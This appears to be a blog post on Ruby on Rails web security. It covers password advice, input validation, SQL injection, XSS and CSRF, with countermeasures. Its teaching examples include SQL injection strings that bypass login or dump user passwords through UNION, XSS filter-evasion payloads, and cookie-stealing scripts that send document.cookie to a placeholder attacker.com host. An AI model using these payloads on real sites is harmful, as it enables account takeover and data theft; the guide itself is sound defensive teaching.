Use good passwords
You might have heard of the MySpace phishing attack at the end of last year. Bruce Schneier has analyzed 34,000 real-world user names and passwords and it turns out, as expected, that most of the passwords people use are quite easy to crack. The most common passwords are:
Common Passwords: The top 20 passwords are (in order): password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.
But also:
I'm impressed that less than 4 percent were dictionary words and that the great majority were at least alphanumeric.
A good password would be a long alphanumeric combination of mixed cases. As this is quite hard to remember I advice you to use the first letters of a sentence you can easily remember, for example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". (Note: This is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries.) Use these passwords for MySQL users, Rails database access and in your web application. It is also good advice to check the password when a user is signing up to you application. The problem is that users need many user names and passwords, so they use the same for different applications. OpenID might be a solution.
Controller User Input Validation
vpstr – the value to be validated
vdefault – will be returned if the validation fails
vtype – the expected type of vpstr. This can be bool (for a Boolean value), int (for an Integer), str (for a string), email (for an email address), htmlescape (to escape HTML characters in vpstr)
vmin – the minimum length of vpstr. (optional)
vmin – the maximum length of vpstr. (optional)
gender = parseparam( params[:gender], "f", "str", %w("m", "f"))
year = parseparam( params[:year], 2007, "int", 0..2007)
# and it has to start with a capital letter, followed by any
# number of characters
fname = parseparam( params[:name], "", "str", nil,
/\A[A-Z]+[A-Za-z.]*\z/, 2, 30)
file = parseparam( params[:file], "", "str", nil, /^[\w\.\-\+]+$/)
to_json Cross Site Scripting security issue (XSS)
Bart t. B. brought the following to_json security issue to my attention, the Rails Trac at http://dev.rubyonrails.org/ticket/8371 has more on that:
To json is almost only used for injecting object hashes into javascript.
var client = <%= client.to_json %>;
Because to_json does not escape its values, it's easy to construct a Cross Site Scripting exploit. If client has a name attribute, to_json will come up with something like: var client = {attributes: {name: "TEST"}};
If we change the name to say: TEST"}}; alert('XSS!!') ;a={{" we have no problem in the rest of our application, as we use <%= h client.name %>, but when we render our javascript, there is a problem:
var client = {attributes: {name: "TEST"}}; alert('XSS!!');a={{""}};
There is currently no easy way to safely escape to_json as escaping the result will result in a broken hash. The implementation of the current to_json is as such that no difference is made between the value and the key, making an easy fix dificult.
This seems to be somewhat refactored in the trunk, but the problem is still there. I understand that this is not really a to_json problem, but as 99% of the users probably uses it this way, something like a :secure_values option would be nice.
SQL Injection
Project.find(:all, :conditions => "name = '#{params[:name]}'")
These examples are vulnerable to SQL injection attacks as an attacker could enter ' OR 1 — and thus, after Rails substituted it into SQL, the query string will be: SELECT * FROM projects WHERE name = '' OR 1 –'
The boolean value 1, and thus name = '' OR 1 is always evaluated to true. The double dash signs start an SQL comment, everything after it will be ignored. Consequently, this query will return all projects in the database and present it to the user. A number sign (#) also starts a comment and /* starts a multi-line comment.
Bypassing Authorization
User.find(:first, "login = '#{params[:name]}' AND password =
'#{params[:password]}'")
params[:name] = ' OR '1'='1
params[:password] = ' OR '2'>'1
params[:name] = ' OR login LIKE '%a%
params[:password] = ' OR ISNULL(1/0) #
Unauthorized Reading
In the example from above, where all projects with a specific name are queried, an attacker can join in the result from a second SELECT statement using the UNION instruction. UNION connects two queries and returns the data in one set, and if the column's data types do not match, they are being converted. The following example introduces SQL column renaming with the AS instruction. It returns a few columns only (contrary to the overall asterisk (*) selector), and renames them according to the column names in the projects table. The actual number of columns can be determined by adding more ones (1) to the SELECT statement. Consequently, the web application believes to return all project names and its descriptions, however, it presents all login names and passwords for the application.
# injecting "') UNION SELECT id,login AS name,password AS
description,1,1,1,1 FROM users /*" will result in:
SELECT * FROM projects WHERE (name = '') UNION SELECT id,login AS
name,password AS description,1,1,1,1 FROM users /*')
Countermeasures
[string containing question marks,
substitution list for the question marks]
As in:
User.find(:first, :conditions => ["login = ? AND password = ?", params[:name],
params[:password]])
Or the same in Rails 1.2:
User.find(:first, :conditions => {:login => params[:name],
:password => params[:password]})
XSS Countermeasures
It is very important to filter malicious input, but when it comes to user agent injection, it is also important that the output does not contain executable code. I will introduce input filters afterwards. In general, it checks the user input to be of a specific format, and if not, rejects it with an error message. But importantly, the error message should not be too specific and should not re-display the input without output filtration.
Output filtration most commonly happens in Rails' view part of the application. If there is absolutely no HTML allowed in the user input, you can filter it with Ruby's escapeHTML() (or its alias h()) function which replaces the possibly malicious input characters &,",<,> with its uninterpreted representations in HTML (&, ", <, >). However, it can easily happen that the programmer forgets to use it just in one place, and so the web application is vulnerable again. It is therefore recommended to use the Safe ERB (http://www.kbmj.com/~shinya/rails/) plugin which will throw an error if so-called tainted strings are not escaped. In Ruby, a string will be tainted if it comes from an external source (for example, from the database, a file or via the Internet) and can be untainted by Safe ERB's modified escapeHTML() function or the Object.untaint() function.
However, if your application's users need text formatting in their input, it is best to use a markup language which is not interpreted by the user agent, but by the web application. For example there is RedCloth (http://whytheluckystiff.net/ruby/redcloth/) for this.
As for character encoding, you should enforce the user's browser to use the encoding you chose. In Rails you can enforce ISO-8859-15 by adding the following lines to application.rb:
after_filter :set_charset
private
def set_charset
content_type = @headers["Content-Type"] || 'text/html'
if /^text\//.match(content_type)
@headers["Content-Type"] = "#{content_type}; charset=ISO-8859-15"
end
end
And in the controller you can convert encodings, for example ISO-8859-15 to UTF-8, with this:
sconvcomment = Iconv.new('ISO-8859-15', 'UTF-8').iconv(params[:comment])
Defeating input filters for injection
- <<script> (if the scanner filters <script> and does comparison of the string inside the first matching bracket pairs)
- <scrscriptipt> (bypasses scanners that remove the word script)
- <script/src=… (bypasses scanners that look for <script> or <script xsrc=…)
- <script a=">" " xsrc=… (bypass a scanner which allows <script>, but not <script xsrc=…)
- or put a line feed after each character (works in Internet Explorer 6.0)
There are many more possibilities, and you have to take other tags into account, suchas <img>, <table>, <a>, or event handlers (on…). More examples are found at http://ha.ckers.org/xss.
+ADw-SCRIPT+AD4-alert('vulnerable');+ADw-/SCRIPT+AD4-
DOM Injection Attacks
document.write(document.URL.substring(pos,document.URL.length));
</script>
Do not think that everyone enters his real name like Joe or Alice, take a look at this user name:
http://www.domain.com/welcome?name=
<script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>&name=Alice
<script>alert(document.cookie)</script>
Cross-Site Scripting (User Agent Injection) Attack Methods
Cookie theft
The user receives a cookie, a 32-byte number in Rails, after the login process to identify him insubsequent requests. Consequently, stealing cookies is a severe problem for web applications,and it is by far the most frequent goal of Cross-Site Scripting (XSS) attacks. In JavaScript you can use the document.cookie variable to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one origin cannot access properties of a document of another origin. However, you can access it if you embed the code directly in the HTML document. The following is an example of an injection that displays your cookie in the output of your web application:
<b onMouseOver="self.location.href='http://www.attacker.com/' +
document.cookie">bolded text</b>
http://www.domain.com/account?name=<script>document.
location.replace('http://www.attacker.com/'+
document.cookie);</script>
Defacement
Redirection
<!– redirect after 0 seconds to the given URL
bypasses filters for <script> –>
<meta http-equiv="refresh" content="0; URL=http://www.attacker.com/">
to be continued…
Cross Site Request Forgery (CSRF) and GET & POST
The W3C advises when to use GET requests:
Use GET if:
- The interaction is more like a question (i.e., it is a safe operation such as a query,read operation, or lookup).
Use POST if:
- The interaction is more like an order, or
- The interaction changes the state of the resource in a way that the user would perceive(e.g., a subscription to a service), or
- The user be held accountable for the results of the interaction.
It is a widespread belief that choosing POST over GET requests for actions changing the state can prevent attacks known as session riding or Cross Site Reference (or Request) Forgery (CSRF). An attacker can prepare a special inconspicuous link, which points to an action that changes the state of the web application, and put it in an email or on a website. If the user is logged in to the web application and clicks on that link, the browser will automatically send the users session identifer, and the attacker can place an order, change the password et cetera in the name of the user. There are also forms of this attack where the URL of an image on a web site is this prepared link and thus the action will be executed automatically when the victim views the web site.
In order not to allow state changes in a GET request, you can use the verify method in the controller:
verify :method => :post, :only => [ :remove_tasklist ],
:redirect_to => { :action => :list }